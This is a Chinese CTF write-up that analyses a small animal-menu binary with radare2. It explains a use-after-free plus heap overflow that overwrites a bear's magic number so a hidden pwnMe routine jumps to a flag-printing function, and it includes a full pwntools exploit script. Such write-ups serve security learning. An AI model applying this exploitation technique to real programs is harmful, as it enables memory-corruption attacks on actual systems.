大致是可以选择好几个动物,然后可以删除动物
有了上一道题的经验,上来先afl
[0x004007f0]> afl
0x004006d8 3 26 sym._init
0x00400710 2 16 -> 32 sym.imp.free
0x00400720 2 16 -> 48 sym.imp.puts
0x00400730 2 16 -> 48 sym.imp.fclose
0x00400740 2 16 -> 48 sym.imp.__stack_chk_fail
0x00400750 2 16 -> 48 sym.imp.printf
0x00400760 2 16 -> 48 sym.imp.__libc_start_main
0x00400770 2 16 -> 48 sym.imp.fgets
0x00400780 2 16 -> 48 sym.imp.getchar
0x00400790 2 16 -> 48 loc.imp.__gmon_start__
0x004007a0 2 16 -> 48 sym.imp.malloc
0x004007b0 2 16 -> 48 sym.imp.fflush
0x004007c0 2 16 -> 48 sym.imp.fopen
0x004007d0 2 16 -> 48 sym.imp.__isoc99_scanf
0x004007e0 2 16 -> 48 sym.imp.exit
0x004007f0 1 41 entry0
0x00400820 4 41 sym.deregister_tm_clones
0x00400850 4 57 sym.register_tm_clones
0x00400890 3 28 sym.__do_global_dtors_aux
0x004008b0 4 45 -> 42 sym.frame_dummy
0x004008dd 3 124 sym.l33tH4x0r
0x00400959 4 136 sym.pickLionType
0x004009e1 1 129 sym.makeLion
0x00400a62 4 155 sym.pickTigerType
0x00400afd 1 129 sym.makeTiger
0x00400b7e 4 135 sym.pickBearType
0x00400c05 1 157 sym.makeBear
0x00400ca2 3 67 sym.pwnMe
0x00400ce5 4 108 sym.deleteAnimal
0x00400d51 17 206 sym.makeStuff
0x00400e1f 1 81 sym.printMenu
0x00400e70 1 51 sym.printWelcome
0x00400ea3 4 93 sym.main
0x00400f00 4 101 sym.__libc_csu_init
0x00400f70 1 2 sym.__libc_csu_fini
0x00400f74 1 9 sym._fini
同样的有l33t那个函数可以直接帮忙拿到flag,所以只需要想办法运行这个函数即可,不需要getshell。
然后剩下的就是分析了,我就不贴代码了,这个程序主要内容:
三个全局变量,一个指针数组存已经存放的动物的结构体的地址(位于堆),两个数存下标,一个是bearOffset,表示最后一个申请的熊的下标,一个next存下一个可用位置的下标。
每次新建动物,如果不是熊,则在next处存放malloc的地址,然后放进相应信息,如果是熊,还会更新bearOffset
结构体内,如果是熊(其他的对于这道题来说不重要),0-0x8存放0xdeadbeef,0x8到0x14存放名字(直接存放,不是指针),0x14到0x18存放type。
有一个pwnMe函数,在选择选项的时候输入4919可以调用,会取出熊的magicnumber(正常情况0xdeadbeef),然后跳转到这个地址执行
动物数量太多(应该是超过4个),会无法新建
有了这些知识,那么剩下的就是利用思路了,还是比较好办的,毕竟50分的题,我的想法是需要更改熊的magicnumber,但是如果新建熊肯定会更改bearOffset,那么就是UAF,先释放,然后新建别的动物,使用同一个空间,然后溢出到下一个块,更改掉magicnumber,最终写出exp。
#!/usr/bin/python2
# coding:utf-8
from pwn import *
#pwntools咋只有py2啊?!
def make_bear(s, name='hello'):
log.info('making a bear with name ' + name)
s.recv()
s.sendline('3')
s.recv()
s.sendline('3')
s.recv()
s.sendline(name)
def make_tiger(s, name='hello'):
log.info('making a tiger with name ' + name)
s.recv()
s.sendline('2')
s.recv()
s.sendline('3')
s.recv()
s.sendline(name)
def delete_animal(s, num):
log.info('delete animal ' + num)
s.recv()
s.sendline('4')
s.recv()
s.sendline(num)
def send_pwn(s):
log.info('sending to pwn')
s.recv()
s.sendline('4919')
def pwn():
s = process("./3eee781e62327ae39b06fec160467d6dfabe7b1a")
make_bear(s)
make_bear(s)
make_bear(s)
delete_animal(s, '1')
make_tiger(s, 'a' * 32 + '\xdd\x08\x40\x00')
send_pwn(s)
log.info("flag is :" + s.recv())
s.interactive()
if __name__ == "__main__":
pwn()